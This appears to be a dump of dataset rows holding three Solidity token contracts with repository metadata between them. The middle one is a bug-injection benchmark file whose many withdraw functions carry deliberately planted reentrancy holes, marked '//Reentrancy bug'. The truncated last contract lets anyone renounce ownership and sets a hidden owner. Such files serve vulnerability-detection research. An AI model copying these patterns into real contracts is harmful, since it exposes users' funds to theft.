event LogTokensCollected(address indexed _contributor, uint _amount, uint16 indexed _day);
}
| 209,935 | 561 |
2d0c3e0311ec40d6571a1bdb45269f695ad880a2b693512177c01e3c7c2662a5
| 36,803 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDALkzKxGMYUhSis9F8sYGSom812wDpVzJ_BishopToken.sol
| 4,861 | 18,975 |
//SourceUnit: bishop-trc.sol
pragma solidity 0.5.15;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 6;
}
function getOwner() external view returns (address) {
return owner();
}
function name() public view returns (string memory) {
return _name;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// Token with Governance.
contract BishopToken is BEP20('BISHOP Token', 'BISHOP') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Token::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Token::delegateBySig: invalid nonce");
require(now <= expiry, "Token::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "Token::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying Tokens (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "Token::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 296,939 | 562 |
ec3760ab52023b0d80f043c67c244876e4e9a43c5c7be9ed48c9e3c4d0b28b8b
| 14,366 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Reentrancy/Sol/buggy_41.sol
| 3,591 | 12,574 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract AO {
// Public variables of the token
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
string public name;
address lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
string public symbol;
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
mapping (address => uint256) public balanceOf;
address lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
address lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
}
| 223,690 | 563 |
9a563fe5b651237af381ab45a3d02f396812cbe25d5f0503bc4f048f74ec35d5
| 20,203 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f8/f836f76e19e0a3c139a8aba91835011f91efce89_Contract.sol
| 3,715 | 14,270 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactETHForTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactTokensForETH(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapETHForExactTokens(uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function quote(uint256 amountA,
uint256 reserveA,
uint256 reserveB) external pure returns (uint256 amountB);
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountOut);
function getAmountIn(uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _allowance;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_isExcludedFromFee[_owner] = true;
